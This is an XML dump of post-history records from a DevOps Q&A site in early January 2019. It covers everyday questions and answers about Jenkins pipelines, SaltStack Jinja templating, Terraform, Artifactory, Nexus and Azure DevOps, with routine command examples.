  <row Id="18834" PostHistoryTypeId="2" PostId="5863" RevisionGUID="367000fb-d9b6-4ae4-94a9-9d0847685e08" CreationDate="2019-01-02T00:05:45.900" UserId="8070" Text="I have a repository (call it repo-X) of shell.nix files that define development environments for a number of separate projects (call them project-A, project-B).&#xD;&#xA;&#xD;&#xA;When one of the projects releases a new version, I run a suite of automated tests in repo-X for the relevant shell.nix file, and if all goes well, I increment the version number in that file to match the new version of the project it supports.&#xD;&#xA;&#xD;&#xA;I'd like to automate this process. I'm using Jenkins and GitHub to _build_ PRs, but I'm not sure how I'd use CI to _author_ a feature branch and create a corresponding PR.&#xD;&#xA;&#xD;&#xA;I'm having a hard time even finding references/ideas, but maybe I'm searching for the wrong terms. What tooling should I look into for this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18835" PostHistoryTypeId="1" PostId="5863" RevisionGUID="367000fb-d9b6-4ae4-94a9-9d0847685e08" CreationDate="2019-01-02T00:05:45.900" UserId="8070" Text="Automate creation of branch + pull-request" ContentLicense="CC BY-SA 4.0" />
  <row Id="18836" PostHistoryTypeId="3" PostId="5863" RevisionGUID="367000fb-d9b6-4ae4-94a9-9d0847685e08" CreationDate="2019-01-02T00:05:45.900" UserId="8070" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;git&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18837" PostHistoryTypeId="50" PostId="5104" RevisionGUID="d47ae001-ff0d-4bc6-a541-6c170b130d15" CreationDate="2019-01-02T06:01:45.750" UserId="-1" />
  <row Id="18838" PostHistoryTypeId="2" PostId="5864" RevisionGUID="4a8f6b6b-8241-4bc9-b846-c3a5344e243d" CreationDate="2019-01-02T08:17:35.853" UserId="10712" Text="I have a config.jinja file with below jvm options:&#xD;&#xA;&#xD;&#xA;    `-Dappdynamics.agent.appName=AP_{{ pillar['region'] }}`&#xD;&#xA;However the AP_{{ pillar['region'] }} varies for different environments. For Dev it can be AP_{{ pillar['region'] }} and for QA it must be AP without the pillar value.&#xD;&#xA;How can I define the appName option with multiple values to achieve above? Any suggestions?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18839" PostHistoryTypeId="1" PostId="5864" RevisionGUID="4a8f6b6b-8241-4bc9-b846-c3a5344e243d" CreationDate="2019-01-02T08:17:35.853" UserId="10712" Text="How to add multiple jvm options in a saltstack jinja?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18840" PostHistoryTypeId="3" PostId="5864" RevisionGUID="4a8f6b6b-8241-4bc9-b846-c3a5344e243d" CreationDate="2019-01-02T08:17:35.853" UserId="10712" Text="&lt;salt&gt;&lt;jinja&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18841" PostHistoryTypeId="2" PostId="5865" RevisionGUID="1e8dd969-1720-4667-8aae-3768bc5ce4d6" CreationDate="2019-01-02T08:55:58.847" UserId="11616" Text="I'm not aware of any straightforward way to do that, without also running a different container to act as a middleware of sorts. You might want to look at one of the &quot;Serverless&quot; platforms. If your use case will fit that model, many of the docker/swarm/kubernetes serverless tools do what you're asking, but again, you're running other container(s) to manage it. I'd suggest starting with a glance at the [OpenFAAS docs][1] to see if it'll work for you. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.openfaas.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18842" PostHistoryTypeId="50" PostId="4106" RevisionGUID="00a65446-6ca4-42bb-be32-a184e2338bec" CreationDate="2019-01-02T09:01:25.313" UserId="-1" />
  <row Id="18843" PostHistoryTypeId="5" PostId="5864" RevisionGUID="cc47a951-ced7-4424-b1d2-efaeadc599f4" CreationDate="2019-01-02T09:22:13.560" UserId="10712" Comment="added 176 characters in body" Text="I have a config.jinja file with below jvm options:&#xD;&#xA;&#xD;&#xA;    `-Dappdynamics.agent.appName=AP_{{ pillar['region'] }}`&#xD;&#xA;However the AP_{{ pillar['region'] }} varies for different environments. For Dev/Prod it can be AP_{{ pillar['region'] }} and for QA it must be AP without the pillar value.&#xD;&#xA;How can I define the appName option with multiple values to achieve above? Any suggestions?&#xD;&#xA;&#xD;&#xA;    if (pillar['region'] == QA)&#xD;&#xA;       -Dappdynamics.agent.applicationName=ALIP&#xD;&#xA;    else&#xD;&#xA;       -Dappdynamics.agent.applicationName=ALIP_{{ pillar['region'] }}&#xD;&#xA;    end-if" ContentLicense="CC BY-SA 4.0" />
  <row Id="18844" PostHistoryTypeId="50" PostId="4695" RevisionGUID="c480a6b3-58f7-4274-ab38-3859533c47fa" CreationDate="2019-01-02T15:01:20.277" UserId="-1" />
  <row Id="18848" PostHistoryTypeId="2" PostId="5867" RevisionGUID="ae170cb5-e433-459c-8313-0cb9c845466f" CreationDate="2019-01-02T16:41:15.103" UserId="11623" Text="Trying to add a new user to a project, but the task keeps failing with the following error:&#xD;&#xA;&#xD;&#xA;&quot;You are trying to invite a user from outside your directory but you are not allowed to make common users tasks. Please contact your directory admin.&quot;&#xD;&#xA;&#xD;&#xA;I am the admin/owner of this organization and project.&#xD;&#xA;&#xD;&#xA;I have worked on a different project under a different organization, and had no issues adding this user to that project.&#xD;&#xA;&#xD;&#xA;Any idea what I am missing here?  What does &quot;make common users tasks&quot; mean?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18849" PostHistoryTypeId="1" PostId="5867" RevisionGUID="ae170cb5-e433-459c-8313-0cb9c845466f" CreationDate="2019-01-02T16:41:15.103" UserId="11623" Text="Cannot add a new user" ContentLicense="CC BY-SA 4.0" />
  <row Id="18850" PostHistoryTypeId="3" PostId="5867" RevisionGUID="ae170cb5-e433-459c-8313-0cb9c845466f" CreationDate="2019-01-02T16:41:15.103" UserId="11623" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18851" PostHistoryTypeId="2" PostId="5868" RevisionGUID="ad6e3397-89b5-44b7-9790-9092be57a832" CreationDate="2019-01-02T21:03:05.813" UserId="11627" Text="Perhaps a macro might be what you are looking for.&#xD;&#xA;&#xD;&#xA;[Understanding Jinja:Macros][1]&#xD;&#xA;&#xD;&#xA;In the lib.sls example in the link (pasted below), it sets a value contingent on the value of the if statement.  I think a similar approach could work for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    {% macro pythonpkg(pkg) -%}&#xD;&#xA;      {%- if grains['os'] == 'FreeBSD' -%}&#xD;&#xA;        py27-{{ pkg }}&#xD;&#xA;      {%- elif grains['os'] == 'Debian' -%}&#xD;&#xA;        python-{{ pkg }}&#xD;&#xA;      {%- endif -%}&#xD;&#xA;    {%- endmacro %}&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.saltstack.com/en/latest/topics/jinja/index.html#macros&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18853" PostHistoryTypeId="50" PostId="3575" RevisionGUID="28dd76d8-1c11-4bd6-89a7-d07e026a9ad6" CreationDate="2019-01-02T23:02:30.643" UserId="-1" />
  <row Id="18854" PostHistoryTypeId="2" PostId="5870" RevisionGUID="99c06868-8d79-437a-aac8-d6710d8f5bb2" CreationDate="2019-01-03T01:32:49.017" UserId="9030" Text="You want a [RCS/VCS][1] that handles the version incrementally for you. I'm not sure how this relates to CI as the idea is to [Continuously Integrate][2] instead of spawning more branches. I'm not sure what you're using for your PR's, so I'll use Atlassian Bitbucket as an example. In the response to pushing up a new branch you get back the url for creating a PR which has an [API which you can call to create your PR][3].&#xD;&#xA;Git commands will do the branching for you: &#xD;&#xA;&#xD;&#xA;    # Get the latest description, usually based on tags : https://git-scm.com/book/en/v2/Git-Basics-Tagging&#xD;&#xA;    $branchName = git describe&#xD;&#xA;    # Checkout the new branch &#xD;&#xA;    git checkout -b $branchName&#xD;&#xA;    # Push up the branch to origin&#xD;&#xA;    git push --set-upstream origin feature/$branchName&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It's best to have a firm grasp of git when dealing with VCS. &#xD;&#xA;* https://try.github.io/ &#xD;&#xA;* https://git-scm.com/book/en/v2/Getting-Started-Git-Basics&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Revision_Control_System&#xD;&#xA;  [2]: https://stackify.com/continuous-delivery-git-jenkins/&#xD;&#xA;  [3]: https://developer.atlassian.com/cloud/bitbucket/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18859" PostHistoryTypeId="5" PostId="3519" RevisionGUID="c20b35e8-313b-46a2-8183-b2819f79c48f" CreationDate="2019-01-03T10:31:58.260" UserId="10945" Comment="update blog url" Text="Back when Kubernetes announced the new StatefulSet feature with K8s v1.5 (converting it from the old `PetSet` name), they put out a really good blog post walking through an example of its usage: https://kubernetes.io/blog/2016/12/statefulset-run-scale-stateful-applications-in-kubernetes/&#xD;&#xA;&#xD;&#xA;The first paragraph has a really good description of differentiating features that always stuck out in my mind:&#xD;&#xA;&#xD;&#xA;&gt; ...“at most one pod per index” for deployment of the Pods in the set. Along with ordered deployment, ordered termination, unique network names, and persistent stable storage ...&#xD;&#xA;&#xD;&#xA;Break down the important ones:&#xD;&#xA;&#xD;&#xA;## Unique network names&#xD;&#xA;In a deployment, it doesn't matter the network name as any pod should be able to pick up the work. However, when you are running things like a stateful cluster, you might have the concept of 'masters' and 'slaves'. This unique network naming will allow you to keep the distinction by referencing a _specific_ pod, with a predictable incremental name.&#xD;&#xA;&#xD;&#xA;## Ordered Termination&#xD;&#xA;This is important for re-deployments in a stateful cluster as you could have critical machines that need to stay up longer. If you have coordinator or 'leader' nodes, those should be the last to be restarted. StatefulSets allows you to do this. The linked blog post even shows an example of this.&#xD;&#xA;&#xD;&#xA;## Persistent stable storage&#xD;&#xA;Arguably, this is the _most_ crucial difference. By default, StatefulSets retain their storage. Kubernetes does _not_ automatically delete the storage that was attached to a StatefulSet. The same _can_ be achieved with deployments, but its not the default." ContentLicense="CC BY-SA 4.0" />
  <row Id="18860" PostHistoryTypeId="24" PostId="3519" RevisionGUID="c20b35e8-313b-46a2-8183-b2819f79c48f" CreationDate="2019-01-03T10:31:58.260" Comment="Proposed by 10945 approved by 40, 707 edit id of 902" ContentLicense="CC BY-SA 4.0" />
  <row Id="18861" PostHistoryTypeId="4" PostId="5867" RevisionGUID="ab9b285e-88bd-479f-be62-bc0a55883106" CreationDate="2019-01-03T10:32:01.017" UserId="3052" Comment="Changed title to be more specific because as it was there was not enough context" Text="Cannot add a new user in Azure DevOps" ContentLicense="CC BY-SA 4.0" />
  <row Id="18862" PostHistoryTypeId="24" PostId="5867" RevisionGUID="ab9b285e-88bd-479f-be62-bc0a55883106" CreationDate="2019-01-03T10:32:01.017" Comment="Proposed by 3052 approved by 40, 707 edit id of 903" ContentLicense="CC BY-SA 4.0" />
  <row Id="18863" PostHistoryTypeId="2" PostId="5871" RevisionGUID="73c81472-2a61-464c-af1d-582d6584b5d8" CreationDate="2019-01-03T12:40:49.613" UserId="11635" Text="I could see some spelling mistakes in the below mentioned line, rest all are fine i think.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    delete_on_termination = &quot;${var.delete_on_termincation}&quot;&#xD;&#xA;&#xD;&#xA;Better you could avoid this line, This might be deleting the EBS when u terminating the ec2 instance. Skip this option and check.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18864" PostHistoryTypeId="2" PostId="5872" RevisionGUID="2ef85cd1-da20-4dae-98b7-5d8226eb6bd8" CreationDate="2019-01-03T13:34:30.933" UserId="10357" Text="I am trying to integrate docker build process in Jenkins. I know the things with docker plugin and configure docker agent and template to build it. I want these things to be done with Jenkins pipeline code.  &#xD;&#xA;Basically, I want below process &#xD;&#xA;1. Pull the sources code from git and create maven build&#xD;&#xA;&#xD;&#xA;2. Push artifactory .war to nexus &#xD;&#xA;&#xD;&#xA;3. Pull another git repo having dockerfile and other supporting data&#xD;&#xA;&#xD;&#xA;4. take artifactory (war) from nexus and add it to docker images build.&#xD;&#xA;&#xD;&#xA;5. Push the newly updated image to docker repo&#xD;&#xA;&#xD;&#xA;6. execute deployment on kubernetes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have steps to build maven code push it to nexus and deployemnt on k8s. But I am facing issue to build docker image using.  I have jenkin setup using docker image. So need to use docker agent and related plugin in jenkin code. " ContentLicense="CC BY-SA 4.0" />
  <row Id="18865" PostHistoryTypeId="1" PostId="5872" RevisionGUID="2ef85cd1-da20-4dae-98b7-5d8226eb6bd8" CreationDate="2019-01-03T13:34:30.933" UserId="10357" Text="jenkins pipeline code to build docker images" ContentLicense="CC BY-SA 4.0" />
  <row Id="18866" PostHistoryTypeId="3" PostId="5872" RevisionGUID="2ef85cd1-da20-4dae-98b7-5d8226eb6bd8" CreationDate="2019-01-03T13:34:30.933" UserId="10357" Text="&lt;jenkins&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18867" PostHistoryTypeId="2" PostId="5873" RevisionGUID="c6074728-26b9-406e-aa3c-fbf361884c1b" CreationDate="2019-01-03T14:14:40.457" UserId="11606" Text="What's the future of engineers starting carier in tools like Docker, Kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18868" PostHistoryTypeId="1" PostId="5873" RevisionGUID="c6074728-26b9-406e-aa3c-fbf361884c1b" CreationDate="2019-01-03T14:14:40.457" UserId="11606" Text="Is there any latest technology which will replace docker, kubernetes in future?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18869" PostHistoryTypeId="3" PostId="5873" RevisionGUID="c6074728-26b9-406e-aa3c-fbf361884c1b" CreationDate="2019-01-03T14:14:40.457" UserId="11606" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;azure-devops&gt;&lt;cloud&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18871" PostHistoryTypeId="5" PostId="5873" RevisionGUID="4ff2af49-21fa-40a5-9a43-a4e77a74bd8f" CreationDate="2019-01-03T16:03:54.657" UserId="40" Comment="edited body; edited title" Text="What's the future of engineers starting career in tools like Docker, Kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18872" PostHistoryTypeId="4" PostId="5873" RevisionGUID="4ff2af49-21fa-40a5-9a43-a4e77a74bd8f" CreationDate="2019-01-03T16:03:54.657" UserId="40" Comment="edited body; edited title" Text="Is there any latest technology which will replace Docker, Kubernetes in future?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18873" PostHistoryTypeId="5" PostId="1623" RevisionGUID="58636b6a-59d5-409e-a73a-548dbfb6fdfd" CreationDate="2019-01-03T16:09:39.900" UserId="519" Comment="Added another Azure option" Text="[Azure Container Instances](https://azure.microsoft.com/en-us/blog/announcing-azure-container-instances/)&#xD;&#xA; (ACI) may be a good option as you suggest.  These let you run a container directly on Azure, without having to manage a VM, with per-second billing for the time the container is used.  &#xD;&#xA;&#xD;&#xA;Although one of the demos on that blog mentions Kubernetes, the idea of ACI is that you can create a container through the Azure CLI with `az container create`, just like on your local workstation with `docker create`.&#xD;&#xA;&#xD;&#xA;ACI is very new, so you will need to use Azure CLI 2.0.12 (`az` command, see [quick start docs](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart)) or Azure Cloud Shell.&#xD;&#xA;&#xD;&#xA;You would need to create/run the container on a schedule from somewhere else - Azure Functions might be a good place to run the &quot;container create&quot; command from  a [scheduled function](https://docs.microsoft.com/en-us/azure/azure-functions/functions-create-scheduled-function).  This supports [bash, PowerShell, and other languages](https://docs.microsoft.com/en-us/azure/azure-functions/functions-overview) - all running on Windows.&#xD;&#xA;&#xD;&#xA;If you want to keep using Docker containers without running VMs or learning Kubernetes, this might be a good option.  &#xD;&#xA;&#xD;&#xA;Alternatively, you could move all your code into Azure Functions, but that's a bigger decision.&#xD;&#xA;&#xD;&#xA;**Update:** Jan 2019 - Azure Logic Apps [can be used to run scheduled tasks](https://docs.microsoft.com/en-us/azure/scheduler/migrate-from-scheduler-to-logic-apps) as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="18874" PostHistoryTypeId="6" PostId="1545" RevisionGUID="ab2af375-4e77-4086-81ce-9a327a8d35ec" CreationDate="2019-01-03T19:43:04.580" UserId="11645" Comment="added artifactory tag" Text="&lt;continuous-integration&gt;&lt;artifacts&gt;&lt;artifactory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18875" PostHistoryTypeId="24" PostId="1545" RevisionGUID="ab2af375-4e77-4086-81ce-9a327a8d35ec" CreationDate="2019-01-03T19:43:04.580" Comment="Proposed by 11645 approved by 800 edit id of 905" ContentLicense="CC BY-SA 4.0" />
  <row Id="18876" PostHistoryTypeId="2" PostId="5874" RevisionGUID="4c3d0126-2772-49e3-95d2-9d0fa2a5bff0" CreationDate="2019-01-03T22:09:49.457" UserId="228" Text="**TL;DR:** &#xD;&#xA;&#xD;&#xA; - **Bintray** &#xD;&#xA;   1. Software for other people's use.&#xD;&#xA;   2. Publishing platform&#xD;&#xA;   3. Released software&#xD;&#xA;   4. Selective, distributed, download optimized, network heavy&#xD;&#xA; - **Artifactory**&#xD;&#xA;   1. Software for your own use.&#xD;&#xA;   2. Caching platform&#xD;&#xA;   3. All derived objects and binary dependencies for CI/CD&#xD;&#xA;   4. Inclusive, centralized, upload optimized, storage heavy&#xD;&#xA;&#xD;&#xA;**Disclosure**: JFrog did not offer me a job. :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="18877" PostHistoryTypeId="2" PostId="5875" RevisionGUID="a51027d4-5075-4c3e-a203-ff687cacccd4" CreationDate="2019-01-03T23:55:28.840" UserId="11645" Text="As @xiong-chiamiov mentioned, it's a very hard question to answer, but here's a clue:&#xD;&#xA;&#xD;&#xA;Artifactory is a network-bond server. It means given enough storage, CPU and memory, it will max out your network interface first. Network interface is considered maxed out at half its rated bandwidth limitation. That can help you do the math." ContentLicense="CC BY-SA 4.0" />
  <row Id="18878" PostHistoryTypeId="2" PostId="5876" RevisionGUID="a5a2e370-33a8-47bb-be8f-a86e70318c33" CreationDate="2019-01-04T00:01:34.510" UserId="11645" Text="I'd go with (2). Since Bob has a more rigid setup (requires Maven metadata), and Alice can provide that (using more flexible Ant), that sounds like the easiest way to go." ContentLicense="CC BY-SA 4.0" />
  <row Id="18879" PostHistoryTypeId="2" PostId="5877" RevisionGUID="4552f5b5-2915-4250-92a9-898675dedf17" CreationDate="2019-01-04T00:10:10.417" UserId="11645" Text="&gt; A virtual repository is a collection of local, remote and other virtual repositories accessed through a single logical URL.&#xD;&#xA;&#xD;&#xA;&gt; A virtual repository hides the access details of the underlying repositories letting users work with a single, well-known URL. The underlying participating repositories and their access rules may be changed without requiring any client-side changes.&#xD;&#xA;&#xD;&#xA;Quote from the [JFrog Artifactory User Guide][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jfrog.com/confluence/display/RTF/Virtual+Repositories" ContentLicense="CC BY-SA 4.0" />
  <row Id="18880" PostHistoryTypeId="5" PostId="3254" RevisionGUID="4cfbed5c-1f52-41a5-a8f0-f5a22096167c" CreationDate="2019-01-04T00:11:13.333" UserId="11645" Comment="updated description" Text=" Artifactory is an enterprise-grade universal binary repository manager for use by more than 25 different dependency managers, including [tag:maven], [tag:docker], [tag:npm], [tag:pypi] etc. and supports enterprise features like on-prem, cloud or hybrid topology, multi-site replication, high-availability, sharding, pluggable storage, custom metadata, query language and much more. &#xD;&#xA;&#xD;&#xA;Its extensive metadata support (coming from CI server integrations, like `[jenkins]-artifactory-plugin`, build tools integrations, like `[gradle]-artifactory-plugin`, or generic metadata collector, the JFrog CLI, allows to collect and query metadata about the artifacts and the dependencies in any point of pipeline lifecycle.&#xD;&#xA;&#xD;&#xA;**Resources:**&#xD;&#xA;&#xD;&#xA; - [Website][3]&#xD;&#xA; - [User guide][4]&#xD;&#xA;&#xD;&#xA;  [3]: http://jfrog.com/artifactory/&#xD;&#xA;  [4]: http://www.jfrog.com/confluence/display/RTF" ContentLicense="CC BY-SA 4.0" />
  <row Id="18881" PostHistoryTypeId="24" PostId="3254" RevisionGUID="4cfbed5c-1f52-41a5-a8f0-f5a22096167c" CreationDate="2019-01-04T00:11:13.333" Comment="Proposed by 11645 approved by 40, 228 edit id of 906" ContentLicense="CC BY-SA 4.0" />
  <row Id="18882" PostHistoryTypeId="50" PostId="5612" RevisionGUID="58225c41-d0c9-424b-9c84-8a82b8792450" CreationDate="2019-01-04T01:01:10.210" UserId="-1" />
  <row Id="18883" PostHistoryTypeId="2" PostId="5878" RevisionGUID="0e685bb1-aaad-4cdf-ab6b-d9cfcddfcf68" CreationDate="2019-01-04T05:11:41.510" UserId="11578" Text="There is an bug reported on TF AWS provider that is certainly related ([terraform-provider-aws/issues/83][1]). Unfortunately, there is no solution for it except waiting to see if the bug still exists with the config language improvements expected in TF 0.12.&#xA;&#xA;What is your use case to delete this instance and ebs with `terraform destroy -target=aws_instance.xxx[1]` command? Do you want to recreate this instance in a second step or stay with only one instance?&#xA;&#xA;What I would try as a workaround is tainting the instance and ebs volume you want to delete with `terraform taint aws_instance.xxx.1 &amp;&amp; terraform taint aws_ebs_volume.xxx.1`.&#xA;Then if you want to recreate them, just run `terraform apply` or if you want to stay with one instance run `terraform apply -var 'count=1'`&#xA;&#xA;&#xA;  [1]: https://github.com/terraform-providers/terraform-provider-aws/issues/83" ContentLicense="CC BY-SA 4.0" />
  <row Id="18884" PostHistoryTypeId="5" PostId="3255" RevisionGUID="9d21eab8-29f5-43ac-98fc-7c3ad5ebc50a" CreationDate="2019-01-04T08:42:32.553" UserId="11645" Comment="updated description resubmission per @JiriKlouda request." Text="Artifactory is an enterprise-grade universal binary repository manager for use by more than 25 different dependency managers, including Maven, Docker, npm, PyPi etc. and supports enterprise features like on-prem, cloud or hybrid topology, multi-site replication, high-availability, sharding, pluggable storage, custom metadata, query language and much more.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18885" PostHistoryTypeId="24" PostId="3255" RevisionGUID="9d21eab8-29f5-43ac-98fc-7c3ad5ebc50a" CreationDate="2019-01-04T08:42:32.553" Comment="Proposed by 11645 approved by 40, 13 edit id of 907" ContentLicense="CC BY-SA 4.0" />
  <row Id="18886" PostHistoryTypeId="2" PostId="5879" RevisionGUID="82a09beb-dadd-4f96-842f-fa57bd358425" CreationDate="2019-01-04T10:03:03.587" UserId="162" Text="I am running a x-mesos-slave container with these attributes:&#xD;&#xA;&#xD;&#xA;    &quot;Cmd&quot;: [&#xD;&#xA;        &quot;--attributes=farm:app,region:eu-west-1,zone:eu-west-1b&quot;&#xD;&#xA;    ],&#xD;&#xA;&#xD;&#xA;When I run an application in Marathon with farm:UNIQUE, this works fine.&#xD;&#xA;&#xD;&#xA;However when I try to use zone:UNIQUE, the application gets stuck in waiting.&#xD;&#xA;&#xD;&#xA;This makes it seem there is no region/zone configured." ContentLicense="CC BY-SA 4.0" />
  <row Id="18887" PostHistoryTypeId="1" PostId="5879" RevisionGUID="82a09beb-dadd-4f96-842f-fa57bd358425" CreationDate="2019-01-04T10:03:03.587" UserId="162" Text="Mesos-slave not picking up attributes" ContentLicense="CC BY-SA 4.0" />
  <row Id="18888" PostHistoryTypeId="3" PostId="5879" RevisionGUID="82a09beb-dadd-4f96-842f-fa57bd358425" CreationDate="2019-01-04T10:03:03.587" UserId="162" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18889" PostHistoryTypeId="5" PostId="4942" RevisionGUID="a0663916-6075-4806-9e86-20c60159151a" CreationDate="2019-01-04T10:19:48.030" UserId="707" Comment="edited body" Text="Consider the following situation:&#xD;&#xA;&#xD;&#xA;    Alice -----              { Firewall }  Bob&#xD;&#xA;    |                                       |&#xD;&#xA;    Artifactory / Ivy repos  -  ---   --- Nexus / Maven Repos&#xD;&#xA;&#xD;&#xA;That is, Alice uses Ant and Ivy to publish her artefacts in an Artifactory in Ivy repos, while Bob sits behind a firewall and builds Maven artefacts storing them in Maven repos in Nexus.&#xD;&#xA;&#xD;&#xA;How can Alice provide her artefacts to Bob? (while both do not have to make large changes to their setup)&#xD;&#xA;&#xD;&#xA;So far, I have considered the following options and decided to ask you before trying them out:&#xD;&#xA;&#xD;&#xA;(1) Bob manages credentials to access Alice' artefacts in his build system and uses a [Maven plugin for Ivy][1] (which means configuration work for all relevant projects)&#xD;&#xA;&#xD;&#xA;(2) Alice uses [an Ant/Maven *task*][2] to generate POMs for *publishing/deployment* step and offers an additional Maven repo, because Artifactory can support it different repo formats. This for Bob's most convenience though Alice needs to do configuration work of all relevant projects and there might be also other Bobs in future using other *binary repository managers*.&#xD;&#xA;&#xD;&#xA;(3) Bob configures Nexus to be a proxy for Alice' Ivy repo (which is AFAIK was [not possible][3] as of 2014).&#xD;&#xA;&#xD;&#xA;What would you do?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://axonivy.github.io/project-build-plugin/release/7.1/index.html&#xD;&#xA;  [2]: http://ant.apache.org/ivy/history/latest-milestone/use/makepom.html&#xD;&#xA;  [3]: https://stackoverflow.com/questions/25910800/does-nexus-oss-support-proxying-of-ivy-repos" ContentLicense="CC BY-SA 4.0" />
  <row Id="18890" PostHistoryTypeId="2" PostId="5880" RevisionGUID="e5ebfac2-9265-4e30-a00e-ec2f6fca8f59" CreationDate="2019-01-04T10:50:21.860" UserId="11527" Text="For development environment, to be used by multiple developers, we have a pipeline to be created with Git-Jenkins-Tomcat(dev)&#xA;&#xA;&#xA;------&#xA;&#xA;Do I need to create this pipeline in private subnet and access thru bastion host?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18891" PostHistoryTypeId="1" PostId="5880" RevisionGUID="e5ebfac2-9265-4e30-a00e-ec2f6fca8f59" CreationDate="2019-01-04T10:50:21.860" UserId="11527" Text="Jenkins pipeline in private subnet" ContentLicense="CC BY-SA 4.0" />
  <row Id="18892" PostHistoryTypeId="3" PostId="5880" RevisionGUID="e5ebfac2-9265-4e30-a00e-ec2f6fca8f59" CreationDate="2019-01-04T10:50:21.860" UserId="11527" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;build-pipeline&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18893" PostHistoryTypeId="2" PostId="5881" RevisionGUID="b8aa7903-9bfa-4164-a754-03a4ea95fb41" CreationDate="2019-01-04T12:04:57.070" UserId="6223" Text="If in the same VPC the can talk to each other. If you are doing that from a public host &quot;outside&quot; the VPC then you need either allow the IP or connect from bastion host. &#xD;&#xA;&#xD;&#xA;* You may need to explain more about your issue." ContentLicense="CC BY-SA 4.0" />
  <row Id="18894" PostHistoryTypeId="2" PostId="5882" RevisionGUID="e059176c-9bc3-4e78-ae78-51c7e5ea7f5c" CreationDate="2019-01-04T12:14:11.637" UserId="11654" Text="I want to get a list (json) of all artifacts in one specific repository via the REST API. &#xD;&#xA;&#xD;&#xA;I've already tried: &#xD;&#xA;&#xD;&#xA;    curl -X GET http://localhost/nexus/service/local/respositories/&lt;reponame&gt;/content/&#xD;&#xA;&#xD;&#xA;This works, but it deliveres me a json listing all my subdirectories in this repo. But what I want is a list with all the artifacts contained in all subdirectories.&#xD;&#xA;&#xD;&#xA;Someone knows how to do this? Is there a way to iterate through all folders? I was thinking about the search keyword, but I wouldn't know for what to search...&#xD;&#xA;&#xD;&#xA;Thanks in advance!" ContentLicense="CC BY-SA 4.0" />
  <row Id="18895" PostHistoryTypeId="1" PostId="5882" RevisionGUID="e059176c-9bc3-4e78-ae78-51c7e5ea7f5c" CreationDate="2019-01-04T12:14:11.637" UserId="11654" Text="Nexus2: How can I get a list of all artifacts from a specific repository via REST API?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18896" PostHistoryTypeId="3" PostId="5882" RevisionGUID="e059176c-9bc3-4e78-ae78-51c7e5ea7f5c" CreationDate="2019-01-04T12:14:11.637" UserId="11654" Text="&lt;api&gt;&lt;nexus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18897" PostHistoryTypeId="2" PostId="5883" RevisionGUID="320e0e76-d8a9-4553-9706-87041457cba6" CreationDate="2019-01-04T12:33:11.747" UserId="11654" Text="This is the way to go:&#xD;&#xA;&#xD;&#xA;    stage('Deploy'){&#xD;&#xA;      when {&#xD;&#xA;        expression {env.GIT_BRANCH == 'origin/master'}&#xD;&#xA;      }&#xD;&#xA;      steps {&#xD;&#xA;        ....&#xD;&#xA;       }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Take care, this is only working with the declarative syntax." ContentLicense="CC BY-SA 4.0" />
  <row Id="18898" PostHistoryTypeId="5" PostId="5883" RevisionGUID="daef0953-3ca2-41d9-96f3-974e8d847069" CreationDate="2019-01-04T12:41:04.920" UserId="11654" Comment="added 521 characters in body" Text="This is the way to go:&#xD;&#xA;&#xD;&#xA;    stage('Deploy'){&#xD;&#xA;      when {&#xD;&#xA;        expression {env.GIT_BRANCH == 'origin/master'}&#xD;&#xA;      }&#xD;&#xA;      steps {&#xD;&#xA;        ....&#xD;&#xA;       }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Take care, this is only working with the declarative syntax.&#xD;&#xA;&#xD;&#xA;The environment step is used to &quot;set up the environment&quot; meaning this is the place to declare environmental variables. &#xD;&#xA;&#xD;&#xA;Also, in my case I did not declare the GIT_BRANCH var myself. But jenkins provides it as an environmental (therefore &quot;env.GIT_BRANCH&quot;) variable if you did &quot;checkout scm&quot; to checkout your repository. If you want to check all the available env vars, do this as a step: `sh 'printenv'`&#xD;&#xA;&#xD;&#xA;check out this article for more info: https://jenkins.io/blog/2017/01/19/converting-conditional-to-pipeline/" 